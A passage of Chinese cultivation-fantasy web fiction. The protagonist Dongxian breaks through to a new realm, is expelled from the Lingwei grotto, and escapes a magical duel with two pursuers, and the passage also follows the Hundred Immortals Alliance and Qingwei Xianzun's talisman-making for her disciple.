灵微洞天更多的是对低境界者或者修为大幅度倒退者有用，而高境界者需要考虑很多，他们拿到请帖便有了升境的机会，但是高境界伴随的劫雷容易使他们丧命，所以高境界者有了请帖也不敢去灵微洞天兑现。
东闲这回是真的走运拿到了请帖，她没有耗上多少气力便成功拿到请帖来到灵微洞天。
小童把她带入一间洞府，告诉她不要乱跑，每日会有人来提供吃食，她这半年可以安心待在洞府。
洞府内应有尽有，足够东闲在洞府待上半年。
东闲打量几息洞府内的布置，便盘腿坐下。
她对环境的要求并不大，打量是她下意识的动作。
她如今已经拿到林纾衣要的物什，问题在于如何把物什交到林纾衣手上，林纾衣把任务交给她，正是看中她善于伪装的能力，可事实上东闲能变化的面容有限。
而且回去还要渡过三溺水，而渡过三溺水，就必须借助鲲船。
那些人一定会在鲲船蹲守她的。
东闲在盘腿入定、心气合一的那刻，抛弃了所有杂乱的思绪，开始吸纳天地灵气，她本就易招灵气亲近，加上有灵微洞天的修炼速度加成，东闲修炼的速度达到一种惊人的程度。
而她沉浸其中，忘却时间流逝，甚至为了减少不必要的时间，特意服用提前制备的饱腹丹。
东闲在灵微洞天日夜修炼，修为飞速上涨，很快就渡过了淬灵境，但她的劫雷没有来，因为她的身体还在吸收灵气，劫雷酝酿了下便散去。
守山童子注意到山巅顶空聚起又散开的劫雷，心中深受震撼，他知道劫雷没有继续是因为本该渡劫雷的人还在修炼。
劫雷很快再次来了，这一次东闲无法阻拦它成型。
东闲觉得自己能抗住的，她知道自己的身体与其他人不同，在赤焰龙脉，她可是硬生生抗住炼心境修士的劫雷，那时她便知道，她是与众不同的，跟世上所有的人都不同，她是最特殊的存在。
天道降罪于她，却不改她的独特。
她咬牙撑过，便能渡过劫雷。
她想得容易，然而万丈劫雷砸来的滋味，岂是一句咬牙撑过能够概括。
劫雷中是天道的怒火，每一道都砸在东闲的魂识上，深刻，无法忘记。
东闲再度回忆起未来站在琉璃洞中的自己，逆天做出回溯时光的事。
为何未来的自己愿意放弃飞升的机会，做出违背天道的事来。
飞升不是她想要的吗。
那些人居然会比飞升还重要吗。
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>就算她做过神也不可能会放弃再次成神的机会，就算她不能成神也不会轻易放弃飞升的机会。
东闲已经猜到自己可能的身份，她的一切特殊都可以由神一字概括。
神，能穿越三千世界。
神，能学会百家秘法绝学不受星宿传承束缚。
神，能不被魔气侵蚀。
神，会在违反天道规则后承受天道的怒火。
但现在这具身体的确被削弱了。
劫雷穿过衣物砸得她皮肤表面都燃起火星子，体内更是被摧残得不堪，她不得已祭出林纾衣送的法鼎，施法让它为自己分担劫雷。
死在凝元境下的劫雷可太憋屈了，东闲还没听过有多少死在凝元境下的修士。也许有但不多，也绝不能是她。
东闲恰诀稳住心神，这凝元境的劫雷还困不住她，她想升境就该升境。
她对时间的流逝已经失去概念，好在最后她成功了，成为一个真正的凝元境修士。
林纾衣所赠的法鼎还能发挥作效，并未因此报废，东闲身上只有这一件渡劫法宝，所以把它留下来，等着下一次渡劫再用。
她稍作歇息，想着要不要再去修炼时，看到守护灵微洞天的童子来了。
弟子严肃着脸，看她的眼神充满了控诉，但所有的委屈与不乐都化为简短的一句。
“请您离开。”
东闲：？
灵微洞天有特殊防护方式，这里降下的劫雷不会伤到洞天，所以东闲渡过的劫雷不会给洞天带来损失。
童子丧着脸道：“您是没有破坏洞天，但是我们实在不敢留你，自您来了两个月，洞天的灵气急速流逝，不复过往的充盈，我们是万不敢让您继续待下去。”
东闲就这样被请出洞天，走前她看了眼洞天，又看了眼天，这天道的气性可真大。
东闲还未彻底走出灵微洞天，她在观察外面的动静。
有心想找她的人，必然会在灵微洞天外守着。
在她的视线中，一个撑着蓝色长伞的女子亭亭玉立，另一个女子环胸抱臂，神色不虞，打伞的女子在轻声安慰着她，抱臂女子则是不耐烦地摆了摆手。
她们会出现在这，东闲一点都不觉得奇怪。
那日在鲲船上逆转印入眉心的白蝶，她便知道华尚和连筝二人一定会追过来。
凝元境前期对上两个意动境前期会怎么样。
答案不言而喻。
东闲身上有百生镜可以伪装容貌，但是对方知道自己在灵微洞天，经过冒牌货慕婉思那件事后，可能也猜到她手上有个能冒充他人身份难以被发现的法宝。
更别提百生镜上的面孔有限，她不可随意乱用。
如此想着，用百生镜逃离困境的想法便自动破灭。
东闲不得不另寻他路。
“还藏着不敢出来吗？”
连筝掐起御风术赶来，她的目标明确，直向东闲所在地而来，东闲现在就是想偷偷溜走也不行。
凝元境的气息可为意动境的修士察觉，她早就暴露了。
104.第 104 章
看见那张脸时连筝被惊了一下，多种猜测齐齐涌上心头，她一时间明白了不少事，看向东闲的目光更加嫌恶。
“你这个无耻小偷，盗走朝天圣果，伪冒玄清宗弟子偷学月华长老的镜花水月，今日你不论说什么都罪不可饶恕。”
跟在后面的华尚不似连筝的急躁，她撑伞缓缓走来，停驻在连筝附近的位置。
看到东闲的容貌，华尚也微微惊讶，不过很快做好表情管理。
“我们等了你很久，可算是能看到你，这回遇上了就别想走，我们也该好好聚一聚。”
东闲心说不跑才是傻子，瞧瞧连筝的眼神有多凶，恨不得要扒她皮似的。
连筝道：“虽然你有凝元境的实力，但你这种小人把戏可不少。”
她们在这等了多日，知道东闲升境的事，心中感慨她的境界提升之快，但更多的是想要把人拎出来好好揍一顿的想法。
连筝召开灵域把东闲拉入其中，一同进去的是华尚。
脚下是能没入到脚踝的水，天色降下淅淅沥沥的小雨，并不致命，但每滴雨都如针刺一般，扎进皮肤时会带来深入骨髓的寒冷，而后搅动着体内的五行之力，会导致体中五行失衡，有弊于战斗。
东闲掐诀维持在半空，同时也起了层护体屏障保护自己免受针雨的侵害。
连筝擅长法术，她用的是五行之中水行的力量。
灵域内的水皆是受她控制。
连筝手下一条水龙聚成，“华尚，你不要出手，让我来好好教教她。”
华尚笑盈盈道：“都听阿筝的。”
一朵巨大的花盛放在她身后，她坐下，刚好被那朵花依托着。
连筝以水幻化成刀，东闲便以亓沂的极冰凛寒术幻化剑来，用上朝阳剑法。
这两种秘学一齐用上，引得连筝顿住片刻。
剑法挥出的力量皆化冰，又被下一刻的连筝破开化水飞溅，会反噬到东闲身上。
在连筝的主场，这些雨水不会伤害她，会主动避让，于是她不用起护体屏障。
而东闲的护体屏障不断被雨水侵蚀破坏着，再过不了多久迟早砸穿进入她的体内。
她这回可不敢再藏百家秘法绝学，这是她保命的手段，再藏也没必要，反正她身后招来的仇家只会更多。
东闲以念力影响连筝的灵域，以使原本配合连筝的灵力降低威力，甚至在配合她。
雨幕倒挂，竟然冲天而去，搅动着滚滚乌云，硬生生撕开了一片天，泄出一片天光。
她似乎发现了连筝的漏洞，以冰霜包裹水珠，暗暗记下它们会被连筝爆开的时间，使得到时飞溅的水珠全都砸在连筝身上，虽然伤害力不高，但也使得连筝知道这是个聪明的对手。
华尚目色划过意外但更多的是忌惮，一连下来东闲虽受了大大小小的伤，可是她已经展现三种秘法绝学，东闲此人所展现的已经超过华尚对东闲该有的认知，这样说还太保守，东闲是完全颠覆华尚的认知。
她原以为自己已经够高估东闲，而现实给了她一个巴掌，华尚怎么会让这样的人成长起来，日后必是大患。
华尚已经起了杀心，身后的花缩小漂浮在水面上，她手中的伞撑开，蓝色的气于她身周形成，雪白的蝴蝶围绕着她旋转，衬得她如出尘的神女。
她一手袖中飞出无数白蝶朝东闲扑过去，却被半路形成的浓墨黑浆般的存在阻拦。
是傀术。
华尚发力，白蝶穿过墨浆，不染任何污浊，圣洁的带有扫除一切黑暗之力，洞穿了东闲的身体。
华尚的境界居然在连筝之上。
无数白蝶穿过东闲的身体，拉扯东闲的血肉，血丝纷飞，飘荡如花，白蝶被鲜血浸透纷纷坠入水中，像是朵朵鲜红的花。
即使被白蝶贯身，五脏六腑都经受迫害，东闲依旧能感觉到这具身体的生命力，若是她境界越高，那么她甚至将不会受到一丝一毫的伤害。
她果然还是喜欢修仙，修仙实在是太奇妙了。
东闲此刻想要再成长再提升境界的心攀至顶峰。
华尚的这一招并未使东闲倒下，但华尚清楚她已经给东闲一记重创，这已经使东闲元气大伤，成为砧板上任人宰割的鱼肉。
东闲注意到华尚的情绪，无视嘴边溢出的血，问道：“你是在害怕？”
华尚生了一张似江南女子般娇柔的面孔，此刻毫无柔情，有的只是释放的冷意。
“你不该死吗。”
东闲哈哈笑出声：“在你们看来，我的确是该死的。”
她似是觉得累了，借着一旁的树的力量，支撑这具重创的身体。
“好多人都想我死，未来会有更多，可我偏偏不会死。”
她抬起一掌，浓墨包裹她的掌心，而后呈喷射状粘到对面二人身后的树，整个身子借助这道力量飞了过去。
连筝怎会给她机会逃掉，暴动的雨幕如刃意图割穿缠在东闲身上的墨浆。
东闲的身体半空坠落，连筝与她的距离不断逼近，而她就要接触到东闲时，拿到的居然是一个空壳。
字面意义上的空壳，那是东闲的模样，但是变成了一张皮，她拿到的更像是东闲身上蜕下的一张皮。
连筝恶心地甩开那张皮，脸色难看，恨道：“竟是让她玩了一招金蝉脱壳。”
她同时不明白，东闲到底是怎么做到的，为什么自己抓到的只是一张皮，这实在是太奇怪了。
华尚摇了摇头，看向水面上漂浮着的被毒死的白蝶，它们原本在方才与连筝一起向东闲而去。
“她用毒在身上，或许她的身上每一处都沾毒，因为我的白蝶接触了她身体不少位置，连发丝都碰到，如若你真的抓住她，才会中她的招。”
华尚接触到东闲的白蝶全都被毒死，好在白蝶只是她的力量，由她的气形成，只要她还活着，就会创造出更多的白蝶，这点损失算不了什么。
“她竟是涂了一
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身的毒，这人果真是里里外外都是毒的。”
显然是存着如果真要死了，那就同归于尽的心思，此人好生恶毒。
连筝后怕的同时更加气愤，如果愤恨能杀人，连筝一定把东闲杀死好几遍了。
“她竟偷学了不下三种秘法绝学。”
华尚也看出来那套金蝉脱壳源自其他秘法绝学，但问题在于，想要用那种绝学，必须有契合的星宿传承，她记得月华说过，东闲明明是星日马的星宿传承，何时会有第二种星宿传承，难道是她换了一种星宿传承？
事实上这种能力已经不能是偷学了，能学会百家秘法绝学，这种人都不能以天之骄子来称呼，她似乎才是百道秘法绝学的创始者，这种天赋同样远远不能是靠法器来做到，毕竟还没人听说过有什么法器能助人达到如此成就。
而且百家秘法绝学有相当一部分，是需要适配星宿传承才能做到，所需的星宿传承大多难以相同，一个人不可能会拥有多种星宿传承，最起码这种事从未发生过，就算是想要研究这方面的往生，也得出失败的答案，因为多一种星宿传承反而会致使修炼效率变低，且容易修炼出错。
东闲所用的秘法绝学都不是同一种星宿传承可以适配的，难道东闲身负的星宿传承不止一种吗，这太不可思议了。
两人不太愿意相信东闲拥有至少两种星宿传承，更倾向于对方是换了星宿传承，毕竟能适配多种星宿传承却还能天赋异禀实在是令人难以置信。
这种天才存在于世，也太打击人了。
华尚道：“你还记得宫主几个月前召开我们所有人的事吗？”
连筝眉头一跳，道：“你说的是来世之人的事？她会是来世之人?”
华尚轻轻拨动着仪上的转盘，“我们在这守了两月，太白定象仪告诉我们在三溺水的东边会有来世之人出没的痕迹，而到了这里我们只见到她一个外人。”
太白定象仪随着她的话落停止转动，又是指向与上次一样的答案。
但是两人都明白，只要这个地方还残留那个人的气息，太白定象仪就不会发生变化，除非她的气息彻底消散，太白定象仪就会发生变化。
连筝低声喃喃道：“了不得。”
华尚道：“她方才所用的回光返照，需要房日兔的星宿传承配合才能使用，这是只有在将死之时才能用到的术法，她能用这道术法，说明她已经强弩之末，除非这附近能有人治她，不然她跑不了多远。”
连筝恶气道：“她最好死在路上，别被我找到，百仙盟的判决可够她受的。”
华尚虽然话是如此，内心却明白绝非容易，那可是来世之人，她会没有退路吗。
故而即使猜到对方可能要死了，华尚和连筝二人还是在附近仔细搜寻起来。
另一边的东闲此刻拖着血迹斑斑的身体，朝另一座山头而去，掐起遁影术一刻也不敢停，用尽极限的力量朝山狂奔。
只要到那里，她就会安全。
105.第 105 章
百仙盟，某间书房，纱幔随风飘荡。
女人手持一份卷轴，卷轴上尽是空白，只有特定的秘法能解，女人施法解咒，随着她一目十行的阅读，很快卷轴上的字消失，再也不能显现。
读完全部的女人深深皱起眉头。
事情比他们想得还要糟糕。
有人踏进这间书房，女人头也未抬，问道：“联系上了吗？”
对方摇了摇头，道：“清微仙尊还是联系不上。”
按照以往，纵使清微仙尊行踪飘忽不定难以捕捉，只要是有急事需要联系她时，也还是能联系到她的，如今不知是何缘故，这一次又一次的联系都没能成功建立，发出去的通讯如同石子入海，激不起半点波澜。
为何要联系清微仙尊一事说来也简单，他们想知道跑进玄清宗伪冒慕婉思的冒牌货是如何能躲得过她的眼。
他们已经有了心中答案，但希望能够从清微仙尊那得到更多确切的消息，毕竟这冒牌货最先还是清微仙尊察觉的。
来人注意到案上一份无字卷轴，心下一沉，问道：“无妄之地那里？”
女人道：“暂时压制住，但能压制的时间有限，鬼煞冢的魔尊已经有动静了，过不了多久它就要冲出封印，这是当前最坏的打算。”
来人道：“封印怎么会松动，那我们再去稳固封印？”
女人道：“如果可以再次封印，百仙盟早就派人去封印。你可以认为这道封印是一次性的，不能再次稳固。”
来人被她的话提起了整颗心，“如何不一样？”
女人道：“魔尊是杀不死的，它由这世界所有至暗的情绪所创，这便注定它永生不会死，你可还记得星宿传承的贩卖，往生他们做得太过火，焕新膏的研制显然染上更强效的魔气，魔尊的力量因此恢复得更快。”
来人骂道：“这群狗东西，害人终害己，与魔为伍，他们也不怕哪天遭到反噬。”
女人没有附和他，提起另一件事。
“这个时候他们也该从无妄之地回来了，在他们回来之前，往生调查如何？”
女人口中的他们与来人口中的他们根本不是一个含义，来人很快能理解她。
来人道：“我们认为鲲船会为怡红院也就是圣者岑为霜的据点，定期输送制作焕新膏的材料，目前暂时还没有确切的证据证明。”
女人沉思良久，道：“既然有所怀疑，便不可错放任何一个，柳明媚不想说实话，那就让龟船顶替鲲船，商人们最在乎利益，这点她比谁都清楚。”
来人问道：“如若是岑为霜给了她一个无法拒绝的条件呢？”
女人问：“你有头绪？”
来人道：“只是合理猜测。”
女人道：“反正这不是与往生牵扯联系的理由，我们百仙盟处理事情不是去调查他们有什么苦衷，只要犯戒，谁都不能幸免。”
过于公正的话语透着无情，来人心中暗叹，不愧是参与判决的人。参与百仙盟判决的一共有六人，判决只要有一票否决，就必须再议。
无数次判决上有人要被留情轻罚的时候，都被女人一票否决，她可谓是百仙盟最冷酷的人，她的处罚只有更严格从不会放水心软。
这才是邢涯的性子。
女人也就是邢涯道：“你继续尝试联系清微仙尊，不论是魔尊要出世还是玄清宗出逃的冒牌货，我们都必须处理好。”
玄清宗出逃的冒牌货本是玄清宗自己的事，百仙盟也不会去主动插手，对方能为百仙盟注意，主要是这冒牌货疑似是使得朝天宫内弥海沙漏被扭转的来世之人。
来世之人这个说法太惊世骇俗，百仙盟不得不去注意此人，以免她对现世造成太大麻烦。
来人闻言退下，继续去联系清微仙尊，希望这片大海能给出一点回应。
***
碧连山，某处洞穴。
女人盘腿坐在石床上，额心的天眼打开，因为长时间耗用，那金色天眼布上血丝，显得几分凶戾。
而这女人的面容，便是百仙盟想要联系的清微仙尊。
自让东闲答应她的要求后，她便立即启程回到了碧连山，无人知晓。
她曾对外人说出要杀了徒弟的话，却也会在碧连山为了徒弟下山见人世做准备。
面前石案上的道道金色符咒，皆是她以修为一笔一划绘制下来，这便是唐云岫下山需要的符咒必备材料之一。
若没有它，用在唐云岫身上的替换符就不会生效，唐云岫便没有办法正常下山。
十年的默默照顾，她看见了一个孩童到成人的变化。
当初把唐云岫接回来时，唐云岫已被折磨得瘦骨嶙峋，身量也因长期营养不良而比同龄人矮小了不知多少。
她那双好奇且带着憧憬的目光落在清微仙尊身上，在听到清微仙尊愿意带她走时，她整个人散发从未有过的光彩。
最初清微仙尊想带唐云岫走，是有一份私心，世言孤煞咒会轻易调动他人的情绪，修习心道的清微仙尊想试试自己会不会被孤煞咒所影响，意图借唐云岫身上的孤煞咒来验证自己的修炼有所成效。
唐云岫本不叫唐云岫，她的亲生父母在她被孤煞咒寄生后就把她扔了，让她以后不要再用他们给她取的名，于是清微仙尊便赐她以己姓，至于名则是问她想要什么。
十岁的孩童指着远处层云遮掩的山，日后她便叫唐云岫。
清微仙尊也是真想帮唐云岫躲掉孤煞咒的影响，故而将其封在碧连山中十年都不让她下山。
十年来，清微仙尊以旁观者的角度默默看着这个幼子的长大，知道她的孤独，知道她的天真，知道她的努力。
她也想出面陪同唐云岫嬉戏玩耍，明明是孩童应该活泼些，但是清微仙尊不敢出面，她怕自己的到来会加深唐云岫的孤煞咒，孤煞咒利用的是周边人的情谊来控制寄主的发作。
如若谁与唐云岫建立良好深厚的情谊，那么这段情谊会在某一天成为击溃她迫使她被孤煞咒控制的罪魁祸首。
这是清微仙尊所担忧的，所以知道唐云岫的痛
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苦她也不敢出现，只会在暗里默默关注她。
唐云岫从树上跌下来，她会施法移动草丛接住她，带来阵风降低她掉下来的缓冲力。
听见小孩惊讶地“哇”了一声，清微仙尊都要忍不住想笑。
有时小孩会钓鱼，坐了半天钓不上一条鱼，便一边流着眼泪一边倔强地还在钓，殊不知那水里的鱼都被她钓光了，清微仙尊于是又要出去找鱼塞到河里去，那天小孩钓都钓不完。
她看了唐云岫成长的十年，早就对这孩子生有感情，孤煞咒在逼使清微仙尊厌恶唐云岫，但是修炼心道的清微仙尊实力非凡，尚能与孤煞咒抵抗，所以她并不讨厌唐云岫，甚至真正把她当作自己的孩子。
但清微仙尊也必须明白，唐云岫的存在是祸害，唐云岫染上了孤煞咒是唐云岫的不幸，唐云岫最终还是要死的。
清微仙尊有私心，她想让唐云岫再看看这世间，以一种普通人的模样去看这世间，去感受这世间的爱，哪怕最后会因孤煞咒而憎恶一切，至少她来过这世间，曾也感受过世间的温暖。
清微仙尊便从古籍禁书中找到替换符的绘制方法，此符需以她的修为来绘，她希望唐云岫能够长久地感受这世间的美好，所以不停歇地绘制更多的符咒，而符咒将会飞到唐云岫离开碧连山后的必经之路上，最后会被唐云岫当做机遇一样送到唐云岫手上去。
她知道唐云岫受星君赐福早就有了离开碧连山的实力，其实碧连山的封印并不强，只要唐云岫的修为达到凝元境便能随意进出，唐云岫已然有了这层实力。
她也知道唐云岫很聪明，唐云岫会明白这符咒对她的作用，她送出去的符咒数量减少便代表唐云岫已经收到了。
清微仙尊又一次运功完毕，将石案上数张一模一样含着规则之力的符咒收进袖内。
这些还不够，每一张符咒的维持时效太短暂，她需要尽快地制作更多的符咒，以使唐云岫在死前能够感受到她这毕生从未有过的快乐。
她走出洞府，大手一挥，那些符咒变成金色鸟儿朝着某个方向展翼飞去，而后她又回到洞府，喝了几口能够恢复精气的浆水，绘制符咒的过程很漫长，她不能浪费任何一点时间，她便又投入符咒的绘制过程中。
飞出去的金鸟在海上被人捕捉，送到柳明媚的手中。
“原以为清微仙尊是个高不可攀的清冷性子，没想到也有人情味，都说修心道之人心最软，如今一看言不虚传。”
她伸手逗弄着金鸟，戏谑地道。
“把这些统统送到岑为霜手上去，唐云岫对我来说没什么用，但是能借此得到岑为霜的帮助，我会很满意的。”
手中的金鸟纷飞落入一个储物袋内。
柳明媚眺望着海上的风景，这些天发生了不少事，好在勉强压下去，不过情况不算好转。
根据她得到的消息，灵微洞天的那个人应该要出来了，那个人想走就必须坐自己的鲲船。
柳明媚换手支颐，“我为你可是准备了一份礼物，希望你不要介意。”